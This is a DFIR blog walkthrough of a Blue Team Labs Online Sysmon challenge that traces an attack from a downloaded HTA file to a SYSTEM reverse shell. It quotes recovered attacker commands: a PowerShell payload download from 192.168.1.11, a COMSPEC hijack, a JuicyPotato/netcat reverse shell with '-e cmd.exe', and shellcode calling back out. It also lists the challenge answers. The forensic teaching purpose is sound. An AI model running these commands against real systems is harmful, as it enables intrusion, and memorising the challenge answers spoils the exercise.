DFIR / Blue Team Labs Online

Tracing a Full Attack Chain from Sysmon Logs: HTA to SYSTEM Shell

Nabin Tiwari·August 2026·8 min read
dfir sysmon blue-team ctf btlo incident-response

A walkthrough of the Blue Team Labs Online "Log Analysis – Sysmon" challenge — reconstructing an attacker's full path from a malicious HTA file to a SYSTEM-level reverse shell, using nothing but grep, CyberChef, and scdbg.

Sysmon logs look intimidating the first time you open one — thousands of JSON events, no obvious starting point. This post walks through how I approached the Blue Team Labs Online "Log Analysis – Sysmon" challenge, where the goal is to reconstruct an attacker's entire path across a single compromised Windows endpoint using only a Sysmon JSON export.

Rather than reading events top to bottom, the whole investigation is really a series of pivots: find one indicator, search the dataset for it, follow where that leads, repeat. That's the mindset this post tries to show, not just the answers.

The scenario

A single Windows 10 host, MSEDGEWIN10, has been compromised. All we get is sysmon-events.json. No alerts, no EDR verdict — just raw telemetry. The challenge asks eight questions that, put together, trace the entire kill chain: initial access, execution, defense evasion, discovery, command and control, and privilege escalation.

Starting point: grep for PowerShell

Since the challenge hints that PowerShell was involved somewhere, the fastest way in isn't a full timeline walk — it's a keyword search:

grep "powershell" sysmon-events.json > PowerShellOutput.txt
grep for powershell in the sysmon export
grep for "powershell" across the sysmon export

This immediately turns up several powershell.exe launches using -nop -w hidden -e <base64>. The -e (or -enc) flag is a very common obfuscation trick — it hides the real command behind Base64 so it doesn't show up as plain text in casual log review, and it slips past naive string-matching detections. One of the decoded commands turns out to be:

Invoke-WebRequest -Uri http://192.168.1.11:6969/supply.exe -OutFile supply.exe

So now we have two solid leads: an attacker IP, 192.168.1.11, and the cmdlet + port used to pull the first payload — Invoke-WebRequest on port 6969.

Working backward to initial access

With a malicious IP in hand, I searched the whole dataset for every event referencing 192.168.1.11 and sorted by time. The very first hit is a Sysmon Event ID 15 (FileCreateStreamHash) — an event type that fires whenever a file gets a Zone.Identifier alternate data stream, which is exactly what Windows does when a browser downloads a file from the internet.

Sysmon Event ID 15 - Zone.Identifier for updater.hta
Event ID 15 — Zone.Identifier ADS created for updater.hta
"Image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"
"TargetFilename": "C:\\Users\\IEUser\\Downloads\\updater.hta:Zone.Identifier"
"Contents": "[ZoneTransfer]\r\nZoneId=3\r\nHostUrl=http://192.168.1.11:6969/updater.hta"
"UtcTime": "2021-05-07 12:20:23.207"

ZoneId=3 means Internet Zone — this file came from the network, not from local creation, and Chrome is the process that pulled it down. That makes updater.hta the initial access file, and 12:20:23 UTC the true start of the incident.

Setting the trap: COMSPEC hijacking

Next pivot: the keyword COMSPEC. Normally %COMSPEC% just points at cmd.exe, so any process reassigning it is worth a look.

cmd.exe setting COMSPEC to supply.exe
cmd.exe re-pointing COMSPEC to supply.exe
CommandLine: cmd /c set comspec=C:\windows\temp\supply.exe
Image: C:\Windows\SysWOW64\cmd.exe
UtcTime: 2021-05-07 12:21:43.851

On its own, this line doesn't execute anything malicious — it's staging. Plenty of Windows utilities internally call %COMSPEC% when they need to spawn a shell, and the attacker just made sure that whichever one gets used next will actually launch their malware instead.

The LOLBIN: ftp.exe

56 seconds later, ftp.exe shows up, and two seconds after that, supply.exe appears with ftp.exe as its parent process:

ftp.exe launched by cmd.exe
ftp.exe launched by cmd.exe
supply.exe parented by ftp.exe
supply.exe parented by ftp.exe
Image: C:\Windows\SysWOW64\ftp.exe
ParentImage: C:\Windows\SysWOW64\cmd.exe
UtcTime: 2021-05-07 12:22:39.500
--
Image: C:\Windows\Temp\supply.exe
ParentImage: C:\Windows\SysWOW64\ftp.exe
UtcTime: 2021-05-07 12:22:41.144

Here's the trick: the built-in Windows ftp.exe client has an interactive shell escape — type ! inside an FTP session and it calls its internal shell() function, which does a CreateProcess() call against whatever %COMSPEC% currently points to. Since COMSPEC had just been re-pointed to supply.exe, this signed, trusted, built-in binary became the launcher for the attacker's payload. That's a textbook LOLBIN (Living-Off-the-Land Binary) technique — it evades any detection that only flags execution of unsigned or unrecognized executables.

What the malware does first

The instant supply.exe runs, it fires off a command:

supply.exe running ipconfig
supply.exe /c "ipconfig" — network discovery
CommandLine: C:\windows\temp\supply.exe /c "ipconfig"
UtcTime: 2021-05-07 12:22:41.594

Basic network discovery — the malware checking its surroundings before doing anything more interesting.

What language is this thing written in?

Checking Sysmon's Event ID 7 (Image/DLL Load) for anything supply.exe loads turns up python27.dll, pulled from a folder named AppData\Local\Temp\_MEI53922. That _MEI prefix is a strong tell — it's the temporary extraction directory PyInstaller creates when it unpacks a bundled Python interpreter and script into a single standalone .exe. So supply.exe isn't a natively compiled binary — it's Python, frozen with PyInstaller.

Stage two: pulling down a privilege escalation tool

Knowing the attacker already used Invoke-WebRequest once, I searched for it again further down the timeline and found supply.exe fetching a second file:

supply.exe downloading JuicyPotato.exe
supply.exe downloading JuicyPotato.exe from GitHub
powershell -c Invoke-WebRequest -Uri https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -OutFile C:\Windows\Temp\juicy.exe
UtcTime: 2021-05-07 12:23:27.679

JuicyPotato is a publicly available, well-documented Windows privilege escalation tool. Seeing it downloaded here is a strong signal the attacker is about to try to jump from a low-privileged user to SYSTEM.

Getting SYSTEM and phoning home

Shortly after, supply.exe runs the tool:

juicy.exe -l 9999 -p nc.exe -a "192.168.1.11 9898 -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}

That CLSID, {B91D5831-B1BD-4608-8198-D72E155020F7}, belongs to winmgmt (Windows Management Instrumentation), a COM server that normally runs as NT AUTHORITY\SYSTEM. JuicyPotato coerces that COM server into authenticating to a local listener it controls, then relays the resulting SYSTEM-level token to launch nc.exe with SYSTEM privileges. Netcat then dials out to 192.168.1.11 on port 9898 with -e cmd.exe, handing the attacker a fully interactive, SYSTEM-level reverse shell. That's privilege escalation and command-and-control, done in one shot.

Bonus round: peeling back the PowerShell layers

The challenge doesn't ask for this, but decoding obfuscated PowerShell is a skill worth practicing every time you see it, so I went one step further.

Layer 1 – Base64

CyberChef From Base64 decode
CyberChef — "From Base64" recipe

Layer 2 – Base64 + Gunzip

This reveals actual readable PowerShell doing .NET reflection — calls like DefineDynamicAssembly and Marshal.GetDelegateForFunctionPointer. This is a very standard in-memory shellcode loader pattern, the kind of thing you'd see in Metasploit or Cobalt Strike style stagers:

CyberChef From Base64 + Gunzip decode
CyberChef — "From Base64" + "Gunzip" reveals a .NET reflection loader

Layer 3 – raw shellcode

This is where text-based decoding stops helping — the output is binary shellcode, not another script:

Final decode attempt showing raw shellcode
Final decode attempt — binary shellcode, no longer human-readable

Static analysis wasn't going to get me anywhere with raw shellcode, so I switched to dynamic emulation with scdbg, which logs every Windows API call the shellcode tries to make:

scdbg.exe /f "download (3).dat"

LoadLibraryA(ws2_32)
WSAStartup(190)
WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
connect(h=42, host: 192.168.1.11, port: 1234) = 71ab4a07
scdbg emulation output
scdbg emulation showing the shellcode's Winsock calls

The shellcode opens a raw socket back to 192.168.1.11 on port 1234 — a separate staging/callback channel from the later JuicyPotato reverse shell on 9898. Two different C2 channels, two different stages of the attack.

The full chain, start to finish

Time (UTC)What happened
12:20:23updater.hta downloaded via Chrome from 192.168.1.11:6969 — initial access
~12:21Layered, obfuscated PowerShell executes
12:21:43COMSPEC re-pointed to supply.exe
12:22:39ftp.exe launched
12:22:41supply.exe executed via the ftp.exe LOLBIN, runs ipconfig
~12:23python27.dll loaded — malware confirmed as Python (PyInstaller)
12:23:27JuicyPotato.exe downloaded from GitHub
~12:23+juicy.exe run, netcat reverse shell to 192.168.1.11:9898 as SYSTEM

Under three minutes, start to finish, from a browser download to a SYSTEM-level shell.

Answers, if you're following along

#QuestionAnswer
1File that gave the attacker accessupdater.hta
2PowerShell cmdlet + port for the malware downloadInvoke-WebRequest, port 6969
3Environment variable set by the attackerCOMSPEC=C:\Windows\temp\supply.exe
4LOLBIN used to execute malicious commandsftp.exe
5First command the malware ranipconfig
6Language the malware was written inPython
7Full URL of the second file downloadedhttps://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
8Port used for the reverse shell9898

What I'd alert on if this were my environment


Written by Nabin Tiwari · tiwarinabin.com.np · github.com/nabin6179